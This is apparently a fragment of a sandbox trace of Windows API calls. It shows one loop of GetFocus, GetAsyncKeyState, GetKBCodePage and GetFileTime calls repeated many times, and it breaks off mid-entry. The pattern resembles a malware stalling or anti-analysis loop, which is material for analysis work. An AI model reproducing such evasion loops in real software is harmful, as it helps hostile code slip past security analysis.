GetAsyncKeyState (vKey=58) returned 0 [0026.117] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] GetAsyncKeyState (vKey=58) returned 0 [0026.117] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] GetAsyncKeyState (vKey=58) returned 0 [0026.117] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] GetAsyncKeyState (vKey=58) returned 0 [0026.117] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] GetAsyncKeyState (vKey=58) returned 0 [0026.117] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] GetAsyncKeyState (vKey=58) returned 0 [0026.117] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] GetAsyncKeyState (vKey=58) returned 0 [0026.117] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] GetAsyncKeyState (vKey=58) returned 0 [0026.117] GetKBCodePage () returned 0x1b5 [0026.117] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.117] GetFocus () returned 0x0 [0026.117] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.118] GetFocus () returned 0x0 [0026.118] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.118] GetFocus () returned 0x0 [0026.118] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.118] GetFocus () returned 0x0 [0026.118] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.118] GetFocus () returned 0x0 [0026.118] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.118] GetFocus () returned 0x0 [0026.118] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.118] GetFocus () returned 0x0 [0026.118] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.118] GetFocus () returned 0x0 [0026.118] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.118] GetFocus () returned 0x0 [0026.118] GetAsyncKeyState (vKey=58) returned 0 [0026.118] GetKBCodePage () returned 0x1b5 [0026.118] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.119] GetFocus () returned 0x0 [0026.119] GetAsyncKeyState (vKey=58) returned 0 [0026.119] GetKBCodePage () returned 0x1b5 [0026.119] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.120] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.120] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.120] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.120] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.120] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.120] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.120] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.120] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.120] GetFocus () returned 0x0 [0026.120] GetAsyncKeyState (vKey=58) returned 0 [0026.120] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.121] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.121] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.121] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.121] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.121] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.121] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.121] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.121] GetKBCodePage () returned 0x1b5 [0026.121] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.121] GetFocus () returned 0x0 [0026.121] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.122] GetFocus () returned 0x0 [0026.122] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.122] GetFocus () returned 0x0 [0026.122] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.122] GetFocus () returned 0x0 [0026.122] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.122] GetFocus () returned 0x0 [0026.122] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.122] GetFocus () returned 0x0 [0026.122] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.122] GetFocus () returned 0x0 [0026.122] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.122] GetFocus () returned 0x0 [0026.122] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.122] GetFocus () returned 0x0 [0026.122] GetAsyncKeyState (vKey=58) returned 0 [0026.122] GetKBCodePage () returned 0x1b5 [0026.122] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0026.123] GetFocus () returned 0x0 [0026.123] GetAsyncKeyState (vKey=58) returned 0 [0026.123] GetKBCodePage () returned 0x1b5 [0026.123] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 